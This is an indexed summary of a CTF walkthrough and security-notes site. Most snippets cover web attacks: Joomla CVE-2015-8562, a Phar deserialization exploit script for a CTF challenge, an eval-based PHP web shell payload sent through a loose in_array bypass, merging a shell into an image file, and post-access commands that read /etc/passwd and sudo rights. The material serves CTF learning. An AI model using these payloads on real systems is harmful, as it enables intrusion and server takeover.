CTFShow Walkthroughs and Security Notes

website·Indexed 30 days ago

https://docusaurus-dusky.vercel.app/

A collection of technical write-ups and solutions for CTF challenges, focusing on web vulnerabilities. Topics include SQL injection, PHP deserialization, SSTI, XXE, SSRF, and JWT exploitation. The documentation also covers general security notes on information gathering, PHP wrappers, regular expressions, and deployment guides for tools like VulScanner.

Tokens
86.8K
Snippets
534
Records
609
Agent score
75%

What's inside CTFShow

  1. Overview of PHP supported wrappers

    PHP supports various wrappers to access different types of resources. The availability of some wrappers depends on the php.ini settings allow_url_fopen and allow_url_include. Note that allow_url_include requires allow_url_fopen to be enabled to function.
    file:// — Local file system
    http:// — HTTP(s) URLs
    ftp:// — FTP(s) URLs
    php:// — I/O streams
    zlib:// — Compression streams
    data:// — Data (RFC 2397)
    glob:// — File path pattern matching
    phar:// — PHP archives
    ssh2:// — Secure Shell 2
    rar:// — RAR archives
    ogg:// — Audio streams
    expect:// — Interactive streams
  2. Initialize VulScanner scan database with PoC data

    To populate the VulScanner database with Proof of Concept (PoC) records, execute the SQL insert statements into the scan.PocModel_poc table. This table stores vulnerability signatures including the PoC name, risk level, vulnerability type, and associated commands.
    INSERT INTO `scan`.`PocModel_poc`(`id`, `poc_name`, `real_name`, `type`, `risk`, `hasExp`, `isUse`, `cmd`) VALUES (1, 'burp_sql_pwd', '数据库弱密码', '弱密码', 'danger', 0, 1, '');
    INSERT INTO `scan`.`PocModel_poc`(`id`, `poc_name`, `real_name`, `type`, `risk`, `hasExp`, `isUse`, `cmd`) VALUES (2, 'shiro_deserialize', 'shiro反序列化', '命令执行', 'danger', 0, 1, '');
    INSERT INTO `scan`.`PocModel_poc`(`id`, `poc_name`, `real_name`, `type`, `risk`, `hasExp`, `isUse`, `cmd`) VALUES (3, 'burp_tomcat', 'Tomcat弱密码', '弱密码', 'danger', 1, 0, '执行命令');
    -- Additional PoC records follow this pattern
  3. Understand the Joomla Deserialization Vulnerability (CVE-2015-8562)

    CVE-2015-8562 is a remote code execution vulnerability in Joomla caused by a combination of PHP deserialization flaws and MySQL character truncation.

    Root Cause:

    1. PHP Deserialization: In PHP versions prior to 5.6.13, the unserialize() function handles errors by searching for the next pipe (|) character to attempt a new deserialization segment if the current one fails.
    2. MySQL Truncation: When MySQL is configured with utf8 (instead of utf8mb4), inserting a 4-byte UTF-8 character (like 𝌆 / %F0%9D%8C%86) causes the database to truncate the remaining string.
    3. Joomla Session Handling: Joomla stores the User-Agent in the session database using the format key|serialized_value. Because it does not filter the | character, an attacker can inject a fake session key and a malicious serialized payload.

    Attack Flow:

    • Step 1: The attacker sends a request with a crafted User-Agent containing a payload and a 4-byte UTF-8 character. MySQL truncates the string, storing the malicious payload in the database.
    • Step 2: The attacker sends a second request. PHP reads the truncated session from the database, fails the first deserialization attempt, finds the injected | character, and successfully deserializes the malicious payload, triggering the exploit.
  4. Basic system enumeration after gaining access

    Once initial access is achieved, use these commands to gather information about the user, system, and installed software to plan privilege escalation.
    whoami          # Current user
    uname -a        # System/Kernel information
    ip a            # IP address information
    ifconfig        # Network interface information
    dpkg -l         # List installed Debian packages
    sudo -l         # Check current user's sudo privileges
    cat /etc/passwd # View user accounts
  5. Perform web reconnaissance and information gathering

    Use the following techniques to gather information about a target web application:

    • Source Code: Use F12 developer tools or view-source:url if right-click is disabled.
    • Traffic Analysis: Inspect request and response packets and check robots.txt for hidden directories.
    • IP & Fingerprinting: Use tools like Ping.cn, aizhan.com, or chinaz.com to find real IPs. Use Tidesec or Yunsee for fingerprinting.
    • Search Engines: Use FOFA, ZoomEye, Shodan, or Censys for cyberspace mapping.
    • Directory Scanning: Use tools like dirsearch, dirmap, or 7kbscan-WebPathBrute with custom dictionaries generated by pydictor.
  6. Understand SQL Injection principles

    SQL injection occurs when an attacker inserts malicious SQL commands into web forms, domain names, or query strings to deceive the server into executing unauthorized commands. For a vulnerability to exist, two conditions must be met: 1. The parameter must be user-controllable (frontend input reaches the backend). 2. The parameter must be concatenated directly into a database query without proper sanitization.
    // Vulnerable PHP example
    $query = "SELECT * FROM users WHERE id = $\_GET['id']";
  7. Identify and exploit XSS vulnerabilities

    Cross-Site Scripting (XSS) occurs when malicious scripts are injected into web pages. There are three primary types:

    • Stored XSS: Persistent; the script is stored on the server (e.g., comments, user profiles) and executes when any user visits the page.
    • Reflected XSS: Non-persistent; the script is part of a request (e.g., search query) and is reflected back to the user. Requires the victim to click a crafted link.
    • DOM-based XSS: A form of reflected XSS where the vulnerability exists in the client-side code rather than the server-side code, manipulating the Document Object Model (DOM).
  8. Understand the Java execution mechanism

    Java uses a hybrid approach combining compilation and interpretation to achieve cross-platform compatibility. The process follows these steps:

    1. Compilation: The source code (.java file) is compiled by the Java compiler into a bytecode file (.class file).
    2. Interpretation: The JVM interprets the .class bytecode and translates it into machine-specific instructions for the host operating system to execute.
  9. Understand Java's platform independence and the role of the JVM

    Java achieves platform independence (cross-platform capability) through the Java Virtual Machine (JVM). Java source code is compiled into .class files containing bytecode. The JVM then translates this bytecode into the specific machine code of the host operating system. Note that while Java programs are cross-platform, the JVM itself is not; it is written in C/C++ and must be installed as a platform-specific version for each operating system.
  10. Solve the 'unser_name' PHP deserialization challenge

    The challenge involves a PHP environment with a source code leak (www.zip). The goal is to trigger a deserialization vulnerability to execute cat /flag.

    Key vulnerabilities and bypasses:

    1. Phar Deserialization: The application uses file_exists() on a user-provided filename, which can be used to trigger Phar deserialization if a phar:// wrapper is used.
    2. Upload Filter Bypass: The black_key_check() function blocks standard Phar, Zip, Gzip, and Bzip2 magic bytes. However, it uses tar -tf to list contents and checks for the exact string .phar/.metadata using in_array(). This can be bypassed by naming the metadata file .phar/.metadata111 (or any variation), as in_array performs a strict string match.
    3. RCE via create_function: The code contains $find_this = create_function("", 'die(cat /flag);');. In PHP, create_function creates an anonymous function with a name starting with a null byte (\x00lambda_). By triggering the name2::__toString() method, the attacker can call this generated function name via $_POST["func"]() to execute the command.
    <?php
    class name1{
        public $var;
        public function __construct(){
            $this->var = new name2();
        }
    }
    class name2{
        public function __toString(){
            $_POST["func"]();
            return "";
        }
    }
    
    $a = new name1();
    
    @unlink("phar.tar");
    @system('rm -r .phar');
    @system('mkdir .phar');
    // Bypass in_array(".phar/.metadata", $r_array) by adding characters to the filename
    file_put_contents('.phar/.metadata111', serialize($a));
    system('tar -cf phar.tar .phar/.metadata111');
  11. Bypass in_array checks using PHP loose comparison

    When in_array() is called without the third parameter ($strict = false), PHP uses loose comparison (==). If a string starts with a number but contains trailing characters (e.g., "1.php"), PHP converts the string to an integer (e.g., 1) when comparing it against an integer. This allows a developer to pass a filename that satisfies a numeric check.
    // If $allow contains integers, n=1.php will match if 1 is in the array
    if(isset($_GET['n']) && in_array($_GET['n'], $allow)){
        file_put_contents($_GET['n'], $_POST['content']);
    }

    // Payload: // GET: ?n=1.php // POST: content=<?php eval($_POST[1]);?>

  12. Bypass file upload checks using image headers (pass14)

    When a server validates only the first two bytes of a file to determine its type, you can bypass this by prepending the appropriate image magic bytes (file headers) to your payload. This technique requires a separate File Inclusion vulnerability to execute the embedded PHP code, as the file will be uploaded with an image extension.

    Common image headers:

    • JPG: FF D8 FF E0 (Hex)
    • PNG: 89 50 4E 47 (Hex)
    • GIF: 47 49 46 38 39 61 23 (Hex/ASCII: GIF89a#)
    # Combine a real image and a PHP shell into a single image file
    # /b specifies binary copy, /a specifies ASCII copy
    copy 1.jpg/b + 1.php/a 2.jpg